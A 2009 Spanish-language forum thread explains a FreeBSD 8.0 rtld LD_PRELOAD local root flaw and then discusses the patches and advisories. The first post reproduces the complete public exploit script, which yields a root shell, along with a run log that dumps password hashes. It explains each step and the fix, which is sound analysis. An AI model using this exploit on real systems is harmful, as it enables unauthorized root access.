| Online |
[ Administrador ] [ Moderador ]
|
|
| Ver tema anterior :: Ver proximo tema |
| Autor |
Message |
ezeaguerre [Moderador de Topico]
![[Moderador de Topico] [Moderador de Topico]](images/pro_rank_mod.gif)

Registrado: 07 May 2008 Publicaciones: 820 Ubicacion: Paso del Rey
|
Publicado: Tue Dec 01, 2009 7:11 pm Publicar Asunto: FreeBSD 8 - Exploit |
|
|
Hoy leí un mail que me llegó de bugtraq. No me maté en examinar porqué, pero, acá vi mi explicación:
Normalemente, cuando uno ejecuta un archivo setuid o setgid, no se nos permite establecer variables de entorno peligrosas, como LD_PRELOAD. Si pudiéramos hacerlo seríamos capaces de cargar cualquier librería y ejecutar nuestro código como root!!!
El linker de FreeBSD elimina estas variables cuando ejecuta un binario setuid/setgid. Pero una forma sencilla de saltearse la protección consiste en generar un entorno corrupto.
Aquí se muestra le ejecución del exploit:
| Codigo: |
uname -a;id;
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
uid=1001(kcope) gid=1001(users) groups=1001(users)
%./w00t.sh
FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in
function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in
function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in
function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# uname -a;id;
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)
# cat /etc/master.passwd
# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29
kensmith Exp $
#
root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User
&:/home/kcope:/bin/sh
# |
¡Terrible!
Sistemas testeados:
| Codigo: |
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NOT VULN
FreeBSD 4.9-RELEASE *** NOT VULN
|
El código del exploit es este (comentarios intercalados):
| Codigo: |
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio>
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
| Crea un programa en C que hace lo siguiente:
1. Modifica la variable de environ (que es la que almacena las variables de entorno) para que apunte a un nuevo espacio de memoria (no inicializado).
2. Hace que la primer variable de entorno apunte a más espacio no inicializado, y que la segunda variable de entorno sea LD_PRELOAD=/tmp/w00t.so.1.0.
2. Por último, ejecuta el comando ping (un comando tradicionalmente setuid).
En definitiva, ejecuta ping (setuid) con el entorno:
environ[0] = basura
environ[1] = LD_PRELOAD=....
environ[2] = basura
environ[3] = basura...
En el mejor de los casos, suponiendo que obtenga memoria inicializada en cero:
environ[0] = NULL
environ[1] = LD_PRELOAD=...
environ[2] = NULL
| Codigo: |
cat > program.c << _EOF
#include <unistd>
#include <stdio>
#include <sys>
#include <stdlib>
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF |
Crea una libreria que, con tan solo traerla al contexto de ejecución del programa ejecuta una shell, con ninguna variable de entorno (es decir, limpia el entorno corrupto del programa anterior).
| Codigo: |
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env |
Compila la librería y ejecuta env... esto da como resultado:
1. Corrompe el entorno
2. Ejecuta ping, si bien el entorno está corrupto, la segunda variable es LD_PRELOAD, la cual se interpreta adecuadamente y se trae la librería maligna al contexto de ping.
3. La librería malvada limpia el entorno (que mala eh!)
4. Ejecuta una shell... con permisos de root!!!! porque ping era setuid, y por ende tiene permisos de root ese proceso!!!
Este es el parche provisorio del equipo de FreeBSD:
| Codigo: |
Index: rtld.c
===================================================================
--- rtld.c (revision 199977)
+++ rtld.c (working copy)
@@ -366,12 +366,12 @@
* future processes to honor the potentially un-safe variables.
*/
if (!trust) {
- unsetenv(LD_ "PRELOAD");
- unsetenv(LD_ "LIBMAP");
- unsetenv(LD_ "LIBRARY_PATH");
- unsetenv(LD_ "LIBMAP_DISABLE");
- unsetenv(LD_ "DEBUG");
- unsetenv(LD_ "ELF_HINTS_PATH");
+ if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+ unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+ unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+ _rtld_error("environment corrupt; aborting");
+ die();
+ }
}
ld_debug = getenv(LD_ "DEBUG");
libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;
|
Lo único que hace es comprobar el estado de unsetenv, si termino mal entonces muere!, de lo contrario sigue la ejecución. Si bien no vi el código de la función unsetenv, estoy seguro por lo que veo que es lo suficientemente pelotud* de trabarse cuando encuentra basura y por ende nunca borrar el LD_PRELOAD...
Fíjense que explotó el bug utilizando a ping, porque ping es setuid! podriá haber sido cualquier otro programa setuid, pero que justo haya elegido ping me da paso a hablar sobre algo: ¡¡¡Privilegios innecesarios!!!
Ping es un programa que necesita permisos de root porque usa sockets RAW, y éstos sólo pueden ser utilizados por un proceso euid=0.
Una forma de evitar darle privilegios exesivos (todo lo que puede hacer root) a un programa es, justamente, dandole los privilegios que pida y nada más. El estándar POSIX plantea el uso de "capacidades", si ping en lugar de ser setuid dijera específicamente "a mi me alcanza con CAP_NET_RAW", este exploit en particular se podría haber evitado.
http://www.gentoo.org/proj/en/hardened/capabilities.xml |
|
| Volver Arriba |
|
 |
gnemmi [FreeLSD]
![[FreeLSD] [FreeLSD]](images/pro_rank_mod.gif)

Registrado: 28 Mar 2008 Publicaciones: 1923 Ubicacion: Argentina - Cap. Fed.
|
Publicado: Tue Dec 01, 2009 7:32 pm Publicar Asunto: |
|
|
Es este mismo?
Tue, Dec 1, 2009 at 2:20 AM
| Cita: |
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi all,
A short time ago a "local root" exploit was posted to the full-disclosure
mailing list; as the name suggests, this allows a local user to execute
arbitrary code as root.
Normally it is the policy of the FreeBSD Security Team to not publicly
discuss security issues until an advisory is ready, but in this case
since exploit code is already widely available I want to make a patch
available ASAP. Due to the short timeline, it is possible that this
patch will not be the final version which is provided when an advisory
is sent out; it is even possible (although highly doubtful) that this
patch does not fully fix the issue or introduces new issues -- in short,
use at your own risk (even more than usual).
The patch is at
http://people.freebsd.org/~cperciva/rtld.patch
and has SHA256 hash
ffcba0c20335dd83e9ac0d0e920faf5b4aedf366ee5a41f548b95027e3b770c1
I expect a full security advisory concerning this issue will go out on
Wednesday December 2nd.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (FreeBSD)
iEYEARECAAYFAksUbjcACgkQFdaIBMps37LP9ACgljaYCfgVuhD2gd9Natpq4H/9
i48An1mgl+Mih+AWN7J9KZ1rsiEU31IZ
=MPXj
-----END PGP SIGNATURE-----
--
Colin Percival
Security Officer, FreeBSD | freebsd.org | The power to serve
Founder / author, Tarsnap | tarsnap.com | Online backups for the truly paranoid
|
PD: Despúes de seguir el desarrollo de FreeBSD 8.0 ( -CURRENT ) por casi un año .. postie en el mismo thread en el que postie que se había lanzado la versión 8.0-RELEASE que FreeBSD era un conjunto de parches y hacks sin dirección u objetivo alguno ... Estas son las consecuencias ..
Saludos! |
|
| Volver Arriba |
|
 |
ezeaguerre [Moderador de Topico]
![[Moderador de Topico] [Moderador de Topico]](images/pro_rank_mod.gif)

Registrado: 07 May 2008 Publicaciones: 820 Ubicacion: Paso del Rey
|
Publicado: Tue Dec 01, 2009 9:10 pm Publicar Asunto: |
|
|
1. Si, es el mismo.
2. No creo que puedas atribuir un error tan pelotud* (como no chequear el valor de devolución de una función) a la falta de dirección del proyecto...  |
|
| Volver Arriba |
|
 |
gnemmi [FreeLSD]
![[FreeLSD] [FreeLSD]](images/pro_rank_mod.gif)

Registrado: 28 Mar 2008 Publicaciones: 1923 Ubicacion: Argentina - Cap. Fed.
|
Publicado: Tue Dec 01, 2009 9:18 pm Publicar Asunto: |
|
|
No, pero no me refiero a ese bug en particular sino a miles de cosas ..
Todo anda por la mitad ... todo se siente "half baked" ..
Desde /etc/src.conf hasta ACPI, pasando por la documentación y la falta de control sobre el SO como unidad operativa ..
Se va a evidenciar de a poco .. pero es nomas leer las listas cotidianamente para ver que FreeBSD es un montón de hacks y parches apilados .. por mas feo que suene ..
No hay cohesión ni uniformidad en el SO ...
Lo tenés que usar para darte cuenta .. cotidianamente .. y probar cosas para encontrar problema tras problema .. y en lugar de resolverse, se suman mas "half baked" features .. y se apilan los bugs .. y la Fundación sigue financiando proyectos que nunca se finalizan ...
Como dije en el otro post .. en lo que a mi respecta, es hora de buscar otro BSD ...
PD: depende del valor de _que_ función el error es o no es tan pelotud* ..
PD2: mira las respuestas ...
http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/136946
Lo que quiere decir "Ah si .. me acuerdo que le pegue una mirada al ACPI y el stack firewire y son un asco .. pero bueno .. es un bardo y no hay tiempo .. que se le va a hacer ..."
http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/136876
Sigue en exactamente el mismo estado ... |
|
| Volver Arriba |
|
 |
ezeaguerre [Moderador de Topico]
![[Moderador de Topico] [Moderador de Topico]](images/pro_rank_mod.gif)

Registrado: 07 May 2008 Publicaciones: 820 Ubicacion: Paso del Rey
|
Publicado: Wed Dec 02, 2009 3:09 pm Publicar Asunto: |
|
|
Algo me olía mal de todo esto... así que le pegué una mirada a unsetenv... y resulta que no solo parchearon el linker, sino también unsetenv Lo que pasa que como era un parche que deshacía un parche anterior que había sido aplicado después del RELEASE, en el mail no apareció... el parche del mail sirve para los que estaban en RELEASE....
No sé que pasará con stable, y los que están en current necesitan ambos parches... pero es probable que los que están en current compilen kernel & world mucho más seguido, así que csup y listo
http://svn.freebsd.org/viewvc/base/head/lib/libc/stdlib/getenv.c |
|
| Volver Arriba |
|
 |
gnemmi [FreeLSD]
![[FreeLSD] [FreeLSD]](images/pro_rank_mod.gif)

Registrado: 28 Mar 2008 Publicaciones: 1923 Ubicacion: Argentina - Cap. Fed.
|
Publicado: Wed Dec 02, 2009 4:57 pm Publicar Asunto: |
|
|
Si .. por eso el parche no es oficial .. es "Ojo que esta estó .. aca hay un parche que puede llegar a causar mas problemas aun pero esta hecho para solucionar el primero ... en cuanto hay un parche oficial, se va a mandar el aviso a la lista de seguridad" .. cosa que tendría qye haber pasado hoy teoricamente, pero todavía no paso.
Saludos! |
|
| Volver Arriba |
|
 |
Matutin [Heavy Penguin]
![[Heavy Penguin] [Heavy Penguin]](images/pro_rank_04.gif)

Registrado: 21 Feb 2007 Publicaciones: 1124 Ubicacion: San Justo
|
Publicado: Thu Dec 03, 2009 9:46 am Publicar Asunto: |
|
|
Ultimamente la gente anda borracha, o nose.... La de aberraciones de este estilo que estoy leyendo en el laburo.... Mi dios....
El mas comun: errores de autentificacion en bind, o en cups, o en ssl!!!
 _________________
GRACIAS GEO POR LA FIRMA!!!
 |
|
| Volver Arriba |
|
 |
Matutin [Heavy Penguin]
![[Heavy Penguin] [Heavy Penguin]](images/pro_rank_04.gif)

Registrado: 21 Feb 2007 Publicaciones: 1124 Ubicacion: San Justo
|
Publicado: Thu Dec 03, 2009 9:49 am Publicar Asunto: |
|
|
Bue, sin contar las aberraciones que van a salir este martes por el lado de microchot.... Y si, martes 8 de diciembre y tengo que laburar....  _________________
GRACIAS GEO POR LA FIRMA!!!
 |
|
| Volver Arriba |
|
 |
ezeaguerre [Moderador de Topico]
![[Moderador de Topico] [Moderador de Topico]](images/pro_rank_mod.gif)

Registrado: 07 May 2008 Publicaciones: 820 Ubicacion: Paso del Rey
|
Publicado: Thu Dec 03, 2009 9:50 am Publicar Asunto: |
|
|
Jajaja... cuidado con SSL, que hay un bug de seguridad en el protocolo, no en la librería... en el mismo protocolo... o dicho de otra forma: ¡CUIDADO! ¡SSL NO ES SEGURO!
Los de OpenSSL hicieron un parche para que el servidor no acepte renegociar la sesión (lo cual evita el ataque Man-In-The-Middle), pero es algo que sólo puede hacer el servidor, el cliente no puede evitar eso... por lo que si usás la última versión de OpenSSL y el servidor de tu banco no... alpiste perdiste... yo no confiaría del protocolo SSL/TLS hasta que saquen una nueva versión... o que todos los servidores usen la versión parcheada de OpenSSL
CUPS: Es vergonzoso... un sistema de impresión que tenga problemas en la autenticación ja... me descostillo de la risa D
BIND: Es vergonzoso... el protocolo DNS de por si es vergonzoso... y BIND no se queda atrás...
P.D: Como te cagaron... laburando el martes  |
|
| Volver Arriba |
|
 |
gnemmi [FreeLSD]
![[FreeLSD] [FreeLSD]](images/pro_rank_mod.gif)

Registrado: 28 Mar 2008 Publicaciones: 1923 Ubicacion: Argentina - Cap. Fed.
|
Publicado: Thu Dec 03, 2009 10:28 am Publicar Asunto: |
|
|
Hoy se anunció la disponibilidad de 3 parches para FreeBSD:
FreeBSD Security Advisory FreeBSD-SA-09:15.ssl
FreeBSD Security Advisory FreeBSD-SA-09:16.rtld
y FreeBSD Security Advisory FreeBSD-SA-09:17.freebsd-update
PD: Bind no solo es vergonzoso .. sino que encima es parte de base en FreeBSD .. Al respecto, ya leiste mis quejas (sobre Sendmail mas que nada .. pero Bind también caia en la volteada ) y la discución que se armó en torno al tema en las listas de FreeBSD .. pero bueno, como los core estan a favor de mantener Sendmail y Bind en base, la mayoría cierra el pico y los pocos que nos quejamos quedamos como trolls .. mientras el resto de los BSD se saca de encima Sendmail y Bind ... que se le va a hacer .. como ya dije antes ... habrá que buscar otro BSD.
Saludos ! |
|
| Volver Arriba |
|
 |
ezeaguerre [Moderador de Topico]
![[Moderador de Topico] [Moderador de Topico]](images/pro_rank_mod.gif)

Registrado: 07 May 2008 Publicaciones: 820 Ubicacion: Paso del Rey
|
Publicado: Thu Dec 03, 2009 10:40 am Publicar Asunto: |
|
|
Es gracioso leer el problema:
| FreeBSD dijo: | When running setuid programs rtld will normally remove potentially
dangerous environment variables. Due to recent changes in FreeBSD
environment variable handling code, a corrupt environment may
result in attempts to unset environment variables failing.
|
Jajaja...
Y que mal... recién ahora parchean OpenSSL??  |
|
| Volver Arriba |
|
 |
gnemmi [FreeLSD]
![[FreeLSD] [FreeLSD]](images/pro_rank_mod.gif)

Registrado: 28 Mar 2008 Publicaciones: 1923 Ubicacion: Argentina - Cap. Fed.
|
Publicado: Thu Dec 03, 2009 11:43 am Publicar Asunto: |
|
|
Es un triste el problema, si ..
Y con respecto a SSL .. lo malo no es que recién ahora larguen el parche, lo malo es lo que se va a tardar en que se aplique a todas las máquinas vulnerables ..
Que bueno es no tener cuentas en los bancos ..  |
|
| Volver Arriba |
|
 |
Matutin [Heavy Penguin]
![[Heavy Penguin] [Heavy Penguin]](images/pro_rank_04.gif)

Registrado: 21 Feb 2007 Publicaciones: 1124 Ubicacion: San Justo
|
Publicado: Thu Dec 03, 2009 12:13 pm Publicar Asunto: |
|
|
Si, es una verguenza ese tipo de horrores... Y si yo listara la cantidad de advisories que recibi de SSL, cups, bind, etc, estariamos un rato... Pero no solo es FreeBSD... Linux pagos como Red Hat y SuSE tienen BANDA de releases de este tipo....
Y sun no se queda atras.... Vengo paquetizando desde hace meses, un problema en el XSunScreenServer o algo asi.... Un error bastante bolud*, pero que ni mas ni menos podria exponer informacion privada en una maquina lockeada a traves de un pop up.... Y la gente de sun va por el fix nro 30!!!!!!!!!!!!!!!! _________________
GRACIAS GEO POR LA FIRMA!!!
 |
|
| Volver Arriba |
|
 |
Matutin [Heavy Penguin]
![[Heavy Penguin] [Heavy Penguin]](images/pro_rank_04.gif)

Registrado: 21 Feb 2007 Publicaciones: 1124 Ubicacion: San Justo
|
Publicado: Thu Dec 03, 2009 12:13 pm Publicar Asunto: |
|
|
Y lo del martes es un garron.... pero al menos saco algo de provecho: horas extras y un dia que no laburo  _________________
GRACIAS GEO POR LA FIRMA!!!
 |
|
| Volver Arriba |
|
 |
gnemmi [FreeLSD]
![[FreeLSD] [FreeLSD]](images/pro_rank_mod.gif)

Registrado: 28 Mar 2008 Publicaciones: 1923 Ubicacion: Argentina - Cap. Fed.
|
|
| Volver Arriba |
|
 |
Registrate para eliminar esta publicidad.
|
|
|
Vos no podes crear temas nuevos en este foro Vos no podes contestar temas en este foro Vos no podes editar temas en este foro Vos no podes borrar tus temas en este foro Vos no podes votar en las votaciones de este foro
|
Powered by Augusto S. Amaya | Logos by AJ.M(Geo) | Re-Coded by MaRsOn | 2007-2008
|